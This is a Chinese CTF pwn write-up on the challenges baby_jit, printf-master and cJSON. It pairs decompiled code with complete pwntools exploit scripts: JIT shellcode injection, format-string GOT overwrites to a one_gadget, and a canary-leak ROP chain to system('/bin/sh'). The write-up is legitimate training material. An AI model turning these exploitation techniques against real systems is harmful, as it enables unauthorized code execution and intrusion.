比赛的时候全靠fix得分,也是参与上了
baby_jit
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| void __fastcall __noreturn main(int a1, char **a2, char **a3) { char s[8]; unsigned __int64 v4;
v4 = __readfsqword(0x28u); setvbuf(stdout, 0LL, 2, 0LL); heap = malloc(8LL * (count + 1)); sandbox(); while ( 1 ) { while ( 1 ) { printf("1. Add\n2. Exec\n3. Exit\n>> "); fgets(s, 8, stdin); if ( strcmp(s, "1\n") ) break; add(); } if ( strcmp(s, "2\n") ) { puts("Bye "); exit(-1); } exec(); } }
|
首先是一个沙盒,然后有两个功能一个Exec和一个Add函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| void *add() { void *result; void *s; void *dest;
s = malloc(0x30uLL); memset(s, 0, 0x30uLL); fgets((char *)s, 0x30, stdin); *((_QWORD *)heap + count++) = s; dest = malloc(8LL * (count + 1)); memcpy(dest, heap, 8LL * count); free(heap); result = dest; heap = dest; return result; }
|
add就是一直保持有一个堆块刚好存了所有的堆块的地址,每个heap_s都有一个0x30的内容
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56
| unsigned __int64 exec() { int i; int offset; int v3; char *endptr; unsigned __int64 v5; char *v6; __int64 v7; char *s1; char s[8]; unsigned __int64 v10;
v10 = __readfsqword(0x28u); puts("offset?"); fgets(s, 8, stdin); offset = (int)(atof(s) * 12.0); v3 = 12 * count + 4; v6 = (char *)mmap((void *)0x100000, 12 * count + 20, 7, 34, -1, 0LL); v6[v3 - 4] = 0x48; v6[v3 - 3] = 0x89; v6[v3 - 2] = 0xD8; v6[v3 - 1] = 0xC3; for ( i = 0; i < count; ++i ) { s1 = (char *)*((_QWORD *)heap + i); *v6 = 0x48; v6[1] = 0xB8; v5 = strtoull(s1 + 4, &endptr, 10); *(_QWORD *)(v6 + 2) = v5; v6 += 10; *v6 = 0x48; v6[2] = -61; if ( !strncmp(s1, "add", 3uLL) ) { v6[1] = 1; } else if ( !strncmp(s1, "sub", 3uLL) ) { v6[1] = 0x29; } else if ( !strncmp(s1, "xor", 3uLL) ) { v6[1] = 0x31; } else if ( !strncmp(s1, "and", 3uLL) ) { v6[1] = 0x21; } v6 += 3; } v7 = ((__int64 (*)(void))(offset + 0x100000))(); printf("result = %llu\n", v7); munmap((void *)0x100000, v3); return __readfsqword(0x28u) ^ v10; }
|
首先会记录一个offset,该offset可以为小数,之后取整数部分,之后的判断add和sub那些主要是要堆块的内容为”add deadbeef”之类的会将add改为对应的机器码,之后会执行0x100000+offset上的函数
1 2 3 4 5 6 7
| .text:00000000000015B0 48 31 DB xor rbx, rbx .text:00000000000015B3 8B 45 C0 mov eax, [rbp+offset] .text:00000000000015B6 05 00 00 10 00 add eax, 100000h .text:00000000000015BB 48 98 cdqe .text:00000000000015BD 48 89 C2 mov rdx, rax .text:00000000000015C0 B8 00 00 00 00 mov eax, 0 .text:00000000000015C5 FF D2 call rdx
|
我们可以看到该执行用call rdx来执行,那么如果我们只用简短的一行指令进行read(0,rdx,nbytes),那么我们就可以将之后的机器码覆盖为我们想要的东西,这道题感觉我之前遇到过一个类似的思路也是用read来执行机器码,主要是逆向的问题,我在比赛的时候没有搞懂add和sub那些判断的作用,一直卡在那里,但是其实这些都是没用的!!!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| from pwn import * from LibcSearcher import* from ctypes import *
FILENAME='./baby_jit' p= process(FILENAME)
context.arch='amd64'
def debug(script = 0): if(script): gdb.attach(p, script) else: gdb.attach(p) pause()
def Add(context): p.recvuntil(b'>>') p.sendline(b'1') p.sendline(context) def Exec(context): p.recvuntil(b'>>') p.sendline(b'2') p.recvuntil(b'offset') p.sendline(context)
calc_sh= str(u64(b'\x00\x90\x50\x5f\x52\x5e\x0f\x05')) '' sh=''' nop push rax pop rdi push rdx pop rsi syscall ''' '' Add(f'add {calc_sh}')
Exec(b'0.3') sleep(1) p.sendline(b'\x90'*(0x20)+asm(shellcraft.cat('flag'))) p.interactive()
|
printf-master
1 2 3 4 5 6
| void __fastcall __noreturn main(__int64 a1, char **a2, char **a3) { myinit(); gift(a1, a2); vuln(); }
|
会有一个gift,选择stack,heap,libc的低字节
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47
| unsigned __int64 gift() { int v0; unsigned __int8 *buf; unsigned __int64 v3; __int64 savedregs;
v3 = __readfsqword(0x28u); if ( dword_4080 == -559038737 ) { puts("1. Get stack address"); puts("2. Get heap address"); puts("3. Get libc address"); puts("4. Get code address"); printf(">>> "); buf = ptr; read(0, ptr, 4uLL); v0 = *buf; if ( v0 == 52 ) { printf("Your gift: %#x\n", &ptr); } else { if ( *buf > 0x34u ) goto LABEL_12; switch ( v0 ) { case '3': printf("Your gift: %#x\n", &puts); break; case '1': printf("Your gift: %#x\n", (&savedregs - 16)); break; case '2': printf("Your gift: %#x\n", buf); break; default: LABEL_12: puts("Not allowed!"); _exit(0); } } } dword_4080 = 0; return __readfsqword(0x28u) ^ v3; }
|
之后便是主要部分
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| void __noreturn vuln() { int v0; int i; int v2; void *buf;
puts("Now, what's your name?"); buf = malloc(0x101uLL); read(0, buf, 0x100uLL); if ( strchr(buf, '$') ) { puts("Not allowed!"); _exit(0); } v2 = strlen(buf); v0 = 0; for ( i = 0; i < v2; ++i ) { if ( *(buf + i) == 'n' ) ++v0; } if ( v0 > 4 ) { puts("Not allowed!"); _exit(0); } printf(buf); free(ptr); free(buf); ptr = 0LL; _exit(0); }
|
一个一次性的格式化字符串漏洞,发现不能出现$,因此使用%c进行占位,因此%c输出的内容的字节是固定的,因此使用%c来进行占位可以更好的进行覆盖
思路
- 首先先将printf的返回地址覆盖成start地址,同时泄露elfbase,libcbase等
- 容易出现问题的地方:第一是vuln函数的退出是通过exit的,因此只能直接覆盖printf的返回地址了;第二是要覆盖为start地址,因为要恢复栈帧,不然之后的跳板会无法找到
- 然后将exit_got覆盖为start地址,实现无限格式化字符串漏洞
- 之后便是覆盖
___stack_chk_fail_got
为one_gadget
- 最后将
exit_got
覆盖为___stack_chk_fail
即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150
| from pwn import* import binascii import struct
elf_path='./pwn'
libc=ELF('./libc-2.31.so',checksec=False)
elf=ELF(elf_path,checksec=False)
context.binary=elf_path
context.log_level='debug'
r =lambda num=4096 :p.recv(num) ru =lambda content,drop=False :p.recvuntil(content,drop) rl =lambda :p.recvline() ra =lambda time=0.5 :p.recvall(timeout=time) u7f =lambda :u64(ru('\x7f')[-6:].ljust(0x8,b'\x00')) sla =lambda flag,content :p.sendlineafter(flag,content) sa =lambda flag,content :p.sendafter(flag,content) sl =lambda content :p.sendline(content) s =lambda content :p.send(content) irt =lambda :p.interactive() tbs =lambda content :str(content).encode() leak=lambda s,n :print("\033[31m["+s+" -> "+str(hex(n))+"]\033[0m") fmt =lambda string :eval(f"f'''{string}'''", globals()).encode()
def debug(script = 0): if(script): gdb.attach(p, script) else: gdb.attach(p) pause()
local=1
def run(): if(local): return process(elf_path) return remote('127.0.0.1',1234) for i in range(50): try: p=run() sa(b'>>> ',tbs(1)) ru(b'0x') stack=int(ru(b'\n',drop=True),16) leak('stack',stack) payload=b'%c'*10+b'%p'+b'%c'*3+b'%p'+fmt('%{stack-0x29-0x18}c')+b'%hn'+b'%c'*26+fmt('%{0xa1b0-stack-26+0x18}c')+b'%hn' sa(b'your name?\n',payload) ru(b'0x') elf_base=int(r(12),16)-0x16bd leak("elf_base",elf_base) ru(b'0x') libc_base=int(r(12),16)-0x24083 leak('libc',libc_base) system=libc_base+libc.sym['system'] og=[0xe3afe,0xe3b01,0xe3b04] execve=libc_base+og[1]
exit_got=elf_base+0x4020 free_got=elf_base+0x4018 leak("exit_got",exit_got) target=(elf_base+0x4020)&0xffff target2=((elf_base+0x11B0)&0xffff)+(0x10000-target) print(hex(target),hex(target2)) payload=f'%p'*(29-2)+f'%{target-0x142}c%hn' payload+='%p'*(58-29-2)+f'%{target2-0x129}c%hn' sa(b'your name?\n',payload) p.recvuntil(b'what',timeout=2) system_add=libc_base+libc.sym['system'] p0='$29' p1='$64' stack_chk_fail_got=elf_base+0x4030 target=(stack_chk_fail_got)&0xffff target2=(execve)&0xffff print("stack_chk_fail_got_1",hex(target2)) if(target2<target):target2=target2+(0x10000-target-361) else: target2=target2-target-361
print("stack_chk_fail_got_1",hex(target),hex(target2)) payload=f'%p'*(29-2)+f'%{target-0x155}c%hn' payload+='%p'*(64-29-2)+f'%{target2}c%hn' p.sendline(payload) debug() p.recvuntil(b'what',timeout=2) p0='$29' p1='$64' target=(stack_chk_fail_got+2)&0xffff target2=((execve>>(8*2)))&0xffff print("stack_chk_fail_got_2",hex(target2)) if(target2<target):target2=target2+(0x10000-target-361-0x19) else: target2=target2-target-361-0x19 print("stack_chk_fail_got_2",hex(target),hex(target2)) payload=f'%p'*(29-2)+f'%{target-0x155+1}c%hn' payload+='%p'*(64-29-2)+f'%{target2}c%hn' p.sendline(payload) p.recvuntil(b'what',timeout=2) p0='$29' p1='$64' target=(stack_chk_fail_got+4)&0xffff target2=((execve>>(8*4)))&0xffff print("stack_chk_fail_got_3",hex(target2)) if(target2<target):target2=target2+(0x10000-target-361-0x19) else: target2=target2-target-361-0x19 print("stack_chk_fail_got_3",hex(target),hex(target2)) payload=f'%p'*(29-2)+f'%{target-0x155}c%hn' payload+='%p'*(64-29-2)+f'%{target2}c%hn' p.sendline(payload)
p.recvuntil(b'what',timeout=2) p0='$29' p1='$64' target=(elf_base+0x4020)&0xffff target2=(elf_base+0x1130)&0xffff print("exit_got",hex(target2)) if(target2<(target+361+0x19)):target2=target2+(0x10000-target-361-0x19) else: target2=target2-target-361-0x19 print("exit_got",hex(target),hex(target2)) payload=f'%p'*(29-2)+f'%{target-0x155+1}c%hn' payload+='%p'*(64-29-2)+f'%{target2}c%hn' p.sendline(payload) irt() except: p.close()
|
羡慕比赛写的出来的师傅们,简直太强了!!
cJSON
一个很恶心的题目,大部分的程序是没有用处的/(ㄒoㄒ)/~~,比赛的时候我居然是从头逆到尾,也是长记性了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110
| __int64 __fastcall main(__int64 a1, char **a2, char **a3) { __int64 v4; int nbytes; int nbytes_4; _DWORD v7[3]; char *v8; void *buf; __int64 v10; void *v11; char s[8]; __int64 v13; __int64 v14; __int64 v15; unsigned __int64 v16;
v16 = __readfsqword(0x28u); *(_QWORD *)s = 0LL; v13 = 0LL; v14 = 0LL; v15 = 0LL; *(_QWORD *)&v7[1] = 0LL; v8 = 0LL; myinit(); puts("Init Data size: "); __isoc99_scanf("%d", &nbytes); getchar(); if ( nbytes <= 0 ) { puts("Err"); return 0LL; } puts("Your Json:"); buf = malloc(nbytes + 16); read(0, buf, (unsigned int)nbytes); v10 = checkjson((__int64)buf); if ( !v10 ) { puts("Parse fail"); return 0xFFFFFFFFLL; } while ( 1 ) { while ( 1 ) { menu(); __isoc99_scanf("%d", &nbytes_4); getchar(); puts("Data name:"); fgets(s, 0x18, stdin); s[strcspn(s, "\n")] = 0; if ( nbytes_4 == 4 ) break; if ( nbytes_4 > 4 ) goto LABEL_25; switch ( nbytes_4 ) { case 3: puts("New data len:"); __isoc99_scanf("%d", v7); getchar(); if ( v7[0] > 0 ) { v11 = malloc(v7[0] + 16); puts("New data:"); read(0, v11, v7[0]); v4 = sub_5603(v11); sub_53BA(v10, (__int64)s, v4); puts("Edit ok"); } break; case 1: v8 = (char *)sub_317E(v10); puts(v8); break; case 2: *(_QWORD *)&v7[1] = sub_4662(v10, (__int64)s); if ( !*(_QWORD *)&v7[1] ) { puts("target null"); return 0xFFFFFFFFLL; } if ( *(_DWORD *)(*(_QWORD *)&v7[1] + 24LL) == 16 ) { printf("[%s]: %s\n", s, *(const char **)(*(_QWORD *)&v7[1] + 32LL)); } else if ( *(_DWORD *)(*(_QWORD *)&v7[1] + 24LL) == 8 ) { printf("[%s]: %d\n", s, *(unsigned int *)(*(_QWORD *)&v7[1] + 40LL)); } else { printf("Err Type"); } puts("Read ok"); break; default: LABEL_25: puts("err"); break; } } if ( !v10 ) break; del(v10, s); puts("Delete ok"); } puts("parse fail."); return 0xFFFFFFFFLL; }
|
首先是输入一个size,json然后也是一个功能性的程序,在delete函数中存在一个栈上的格式化字符串漏洞
1 2 3 4 5 6 7 8 9 10
| __int64 __fastcall del(__int64 a1, const char *a2) { __int64 v3;
v3 = sub_4662(a1, a2); putchar('['); printf(a2); puts("] been deleted"); return sub_4E2F(a1, v3); }
|
那么思路就是泄露->覆盖,也是比较清晰的
解法一:
纯格式化字符串漏洞
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71
| from pwn import * from ctypes import * import struct context(os='linux' , arch='amd64' , log_level='debug')
libc=ELF('./libc.so.6') path='./pwn' elf=ELF(path)
amd64shell=b"RRYh00AAX1A0hA004X1A4hA00AX1A8QX44Pj0X40PZPjAX4znoNDnRYZnCXAA"
r =lambda num=4096 :p.recv(num) ru =lambda content,drop=False :p.recvuntil(content,drop) rl =lambda :p.recvline() sla =lambda flag,content :p.sendlineafter(flag,content) sa =lambda flag,content :p.sendafter(flag,content) sl =lambda content :p.sendline(content) s =lambda content :p.send(content) irt =lambda :p.interactive() tbs =lambda content :str(content).encode() leak=lambda s,n :print("\033[31m["+s+" -> "+str(hex(n))+"]\033[0m") fmt =lambda string :eval(f"f'''{string}'''", globals()).encode()
local=1
def run(): if local: return process(path) return remote('node4.anna.nssctf.cn',28282)
def debug(duan=None): if local: if duan: gdb.attach(p, execute=duan) else: gdb.attach(p) pause()
p=run()
def show(name): sla(b'>\n',b'4') sla(b'Data name:\n',name)
og=[0xe3afe,0xe3b01,0xe3b04] sla(b'Init Data size: \n',b'20') sla(b'Your Json:\n',b'21') show(b'%27$p%10$p') ru(b'0x') libc_base=int(r(12),16)-libc.sym['__libc_start_main']-243 leak('libc_base',libc_base) ru(b'0x') stack_ret=int(r(12),16)+0x8 leak('stack_ret',stack_ret)
one_gadget=libc_base+og[1] leak('one_gadget',one_gadget)
payload=(fmt('%{one_gadget & 0xffff}c')+b'%22$hn').ljust(0x10,b'\x00') payload+=p64(stack_ret) show(payload)
payload=(fmt('%{(one_gadget>>16) & 0xffff}c')+b'%22$hn').ljust(0x10,b'\x00') payload+=p64(stack_ret+2)
show(payload)
sla(b'>\n',b'2') sla(b'name:\n',b'a') irt()
|
解法二:
格式化字符串漏洞+栈溢出
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| void *__fastcall sub_15B6(const char *a1, __int64 (__fastcall **a2)(size_t)) { size_t n; void *v4; char dest[632]; unsigned __int64 v6;
v6 = __readfsqword(0x28u); if ( !a1 ) return 0LL; n = strlen(a1) + 1; v4 = (void *)(*a2)(n); if ( !v4 ) return 0LL; if ( n <= 0xFFF ) memcpy(dest, a1, 0x1000uLL); memcpy(v4, a1, n); return v4; }
|
在这个函数中如果n<0xFFF同时dest只有632的大小,那么就有个栈溢出
取自ixout学长的exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| p=run()
sla(b'Init Data size: \n',tbs(120))
sla(b'Your Json:\n',b'{"a":"b"}')
delete(b'%p%25$p')
libc.address=int(ru('23')[-12:],16)-0x1ED723 leak('libc',libc.address) canary=int(ru(']',drop=True)[-16:],16) leak('canary',canary)
pop_rdi_ret=libc.address+0x23b6a ret=libc.address+0x23b6b binsh=next(libc.search(b'/bin/sh')) system=libc.sym['system']
edit(b'ixout',b'a'*632+p64(canary)+p64(0)+p64(pop_rdi_ret)+p64(binsh)+p64(ret)+p64(system))
irt()
|
参考
https://ixout.github.io/posts/22716/
https://www.ctfiot.com/189832.html